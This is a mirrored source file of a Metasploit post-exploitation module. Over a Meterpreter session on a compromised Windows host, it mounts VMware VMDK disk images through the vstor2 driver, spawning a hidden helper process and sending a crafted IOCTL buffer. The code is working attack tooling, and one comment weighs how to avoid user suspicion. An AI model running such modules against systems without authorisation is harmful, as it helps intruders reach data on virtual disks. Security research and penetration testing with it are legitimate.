CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/manage/vmdk_mount.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Windows::FileSystem
9
include Msf::Post::Windows::Registry
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Windows Manage VMDK Mount Drive',
16
'Description' => %q{
17
This module mounts a vmdk file (Virtual Machine Disk) on a drive provided by the user by taking advantage
18
of the vstor2 device driver (VMware). First, it executes the binary vixDiskMountServer.exe to access the
19
device and then it sends certain control code via DeviceIoControl to mount it. Use the write mode with
20
extreme care. You should only open a disk file in writable mode if you know for sure that no snapshots
21
or clones are linked from the file.
22
},
23
'License' => MSF_LICENSE,
24
'Author' => 'Borja Merino <bmerinofe[at]gmail.com>',
25
'References' => [
26
['URL', 'http://www.shelliscoming.com/2017/05/post-exploitation-mounting-vmdk-files.html']
27
],
28
'Platform' => ['win'],
29
'SessionTypes' => ['meterpreter'],
30
'Compat' => {
31
'Meterpreter' => {
32
'Commands' => %w[
33
stdapi_fs_delete_file
34
stdapi_fs_ls
35
stdapi_fs_stat
36
stdapi_railgun_api
37
stdapi_sys_process_execute
38
stdapi_sys_process_get_processes
39
stdapi_sys_process_getpid
40
stdapi_sys_process_kill
41
]
42
}
43
}
44
)
45
)
46
47
register_options(
48
[
49
OptString.new('VMDK_PATH', [true, 'Full path to the .vmdk file']),
50
OptString.new('DRIVE', [true, 'Mount point (drive letter)', 'Z']),
51
OptBool.new('READ_MODE', [true, 'Open file in read-only mode', true]),
52
OptBool.new('DEL_LCK', [true, 'Delete .vmdk lock file', false]),
53
]
54
)
55
end
56
57
def run
58
vol = datastore['DRIVE'][0].upcase
59
vmdk = datastore['VMDK_PATH']
60
if vol.count('EFGHIJKLMNOPQRSTUVWXYZ') == 0
61
print_error('Wrong drive letter. Choose another one')
62
return
63
end
64
65
drives = get_drives
66
if drives.include? vol
67
print_error("The following mount points already exists: #{drives}. Choose another one")
68
return
69
end
70
71
# Using stat instead of file? to check if the file exists due to this https://github.com/rapid7/metasploit-framework/issues/8202
72
begin
73
client.fs.file.stat(vmdk)
74
rescue StandardError
75
print_error("File #{vmdk} not found")
76
return
77
end
78
79
vmware_path = registry_getvaldata('HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\vmplayer.exe', 'path')
80
81
if vmware_path.nil?
82
print_error('VMware installation path not found.')
83
return
84
end
85
86
print_status("VMware path: \"#{vmware_path}\"")
87
88
vstor_device = find_vstor2_device
89
if vstor_device.nil?
90
return
91
end
92
93
if !open_mountserver(vmware_path) || !mount_vmdk(vstor_device, vmdk, vol, datastore['READ_MODE'])
94
return
95
end
96
97
# Just few seconds to mount the unit and create the lck file
98
sleep(5)
99
100
if get_drives.include? vol
101
print_good("The drive #{vol}: seems to be ready")
102
if datastore['DEL_LCK']
103
delete_lck(vmdk)
104
end
105
else
106
print_error("The drive couldn't be mounted. Check if a .lck file is blocking the access to the vmdk file")
107
# Some snapshots could give some problems when are mount in write mode
108
if !datastore['READ_MODE']
109
print_status('Try to mount the drive in read only mode')
110
end
111
end
112
end
113
114
# Delete the lck file generated after mounting the drive
115
def delete_lck(vmdk)
116
lck_dir = vmdk << '.lck'
117
begin
118
files = client.fs.dir.entries(lck_dir)
119
vprint_status("Directory lock: #{lck_dir}")
120
rescue Rex::Post::Meterpreter::RequestError
121
print_status('It was not found a lck directory')
122
return
123
end
124
125
files.shift(2)
126
files.each do |f|
127
f_path = lck_dir + "\\#{f}"
128
next if !file?(f_path)
129
130
fd = client.fs.file.open(f_path)
131
content = fd.read.to_s
132
fd.close
133
next unless content.include? 'vixDiskMountServer'
134
135
begin
136
client.fs.file.rm(f_path)
137
print_status("Lock file #{f} deleted")
138
rescue ::Exception => e
139
print_error("Unable to remove file: #{e.message}")
140
end
141
end
142
end
143
144
# Recover the device drive name created by vstor2-mntapi20-shared.sys
145
def find_vstor2_device
146
reg_services = 'HKLM\\SYSTEM\\ControlSet001\\Services\\'
147
devices = registry_enumkeys(reg_services)
148
vstor2_key = devices.grep(/^vstor2/)
149
if vstor2_key.none?
150
print_error("No vstor2 key found on #{reg_services}")
151
return
152
end
153
154
device_path = registry_getvaldata(reg_services << vstor2_key[0], 'ImagePath')
155
156
if device_path.nil?
157
print_error('No image path found for the vstor2 device')
158
return
159
end
160
161
device_name = device_path.split('\\')[-1].split('.')[0]
162
print_status("Device driver name found: \\\\.\\#{device_name}")
163
device_name.insert(0, '\\\\.\\')
164
end
165
166
# Mount the vmdk file by sending a magic control code via DeviceIoControl
167
def mount_vmdk(vstore, vmdk_file, vol, read_mode)
168
# DWORD value representing the drive letter
169
i = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'.index(vol)
170
drive_dword = [(0x00000001 << i)].pack('V')
171
vprint_status("DWORD value for drive #{vol}: = #{drive_dword.inspect}")
172
173
ret = session.railgun.kernel32.CreateFileW(vstore, 'GENERIC_WRITE|GENERIC_READ', 'FILE_SHARE_READ|FILE_SHARE_WRITE', nil, 'OPEN_EXISTING', 0, nil)
174
if ret['GetLastError'] != 0
175
print_error("Unable to open a handle to the #{vstore} device driver. GetLastError: #{ret['GetLastError']} ")
176
return false
177
end
178
# fd1, fd3 and fd5 are static values used from vixDiskMountApi.dll to build the input buffer
179
fd1 = "\x24\x01\x00\x00"
180
fd2 = "\x00\x00\x00\x00"
181
fd3 = "\xBA\xAB\x00\x00"
182
fd4 = "\x00\x00\x00\x00"
183
fd5 = "\x02\x00\x00\x00"
184
fd6 = "\x00\x00\x00\x00"
185
path = vmdk_file.ljust 260, "\x00"
186
if read_mode
187
fd7 = "\x01\x00\x00\x00"
188
else
189
fd7 = "\x00\x00\x00\x00"
190
end
191
192
# The total length of the buffer should be 292
193
buffer = fd1 << fd2 << fd3 << fd4 << fd5 << fd6 << drive_dword << path << fd7
194
195
error_code = ''
196
tries = 0
197
loop do
198
ioctl = client.railgun.kernel32.DeviceIoControl(ret['return'], 0x2A002C, buffer, 292, 16348, 16348, 4, nil)
199
error_code = ioctl['GetLastError']
200
vprint_status("GetlastError DeviceIoControl = #{error_code}")
201
tries += 1
202
break if tries == 3 || (error_code != 31 && error_code != 6)
203
end
204
205
if error_code == 997 || error_code == 0
206
client.railgun.kernel32.CloseHandle(ret['return'])
207
return true
208
else
209
print_error("The vmdk file could't be mounted")
210
return false
211
end
212
end
213
214
# Run the hidden vixDiskMountServer process needed to interact with the driver
215
def open_mountserver(path)
216
mount_bin = 'vixDiskMountServer.exe'
217
if !file?(path << mount_bin)
218
print_error("#{mount_bin} not found in \"#{path}\"")
219
return false
220
end
221
222
# If the vixDiskMountServer process is created by VMware (i.e. when the mapping utility is used) it will not be
223
# possible to mount the file. In this case killing vixDiskMountServer manually from Meterpreter and re-running
224
# the script could be a solution (although this can raise suspicions to the user).
225
226
# On the other hand, if vixDiskMountServer has been created by Meterpreter it would not be necessary to kill
227
# the process to run the script again and mount another drive except if you change the mode (write or read only).
228
# For this reason, to avoid this case, the process is relaunched automatically.
229
p = session.sys.process.each_process.find { |i| i['name'] == mount_bin }
230
231
if p
232
if p['ppid'] != session.sys.process.getpid
233
print_error("An instance of #{mount_bin} is already running by another process")
234
return false
235
else
236
begin
237
print_status("Killing the #{mount_bin} instance")
238
session.sys.process.kill(p['pid'])
239
sleep(1)
240
rescue ::Rex::Post::Meterpreter::RequestError => e
241
print_error("The #{mount_bin} instance depending on Meterpreter could not be killed")
242
return false
243
end
244
end
245
end
246
247
begin
248
proc = session.sys.process.execute(path, nil, { 'Hidden' => true })
249
sleep(1)
250
print_good("Process #{mount_bin} successfully spawned (Pid: #{proc.pid})")
251
rescue ::Rex::Post::Meterpreter::RequestError => e
252
print_error("Binary #{mount_bin} could could not be spawned : #{e}")
253
return false
254
end
255
256
true
257
end
258
end
259
260